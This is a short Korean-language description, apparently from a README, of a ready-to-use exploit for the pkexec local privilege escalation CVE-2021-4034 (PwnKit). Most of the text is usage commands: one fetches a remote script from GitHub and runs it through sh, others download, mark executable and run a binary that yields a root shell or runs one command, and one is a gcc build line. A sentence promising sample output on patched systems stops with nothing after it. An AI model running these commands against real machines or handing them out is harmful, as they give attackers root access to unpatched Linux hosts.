
Linux 배포판의 pkexec 로컬 권한 상승을 대상으로 하는 CVE-2021-4034(PwnKit)용 자체 포함 익스플로잇입니다. 대화형 셸 또는 단일 명령 실행을 제공합니다.
CVE-2021-4034를 위한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승
Ubuntu, Debian, Fedora, CentOS 기반의 취약한 Linux 배포판에서 즉시 작동해야 합니다.
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
패치된 버전에서 익스플로잇을 실행하면 다음과 같은 출력이 나타납니다.
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC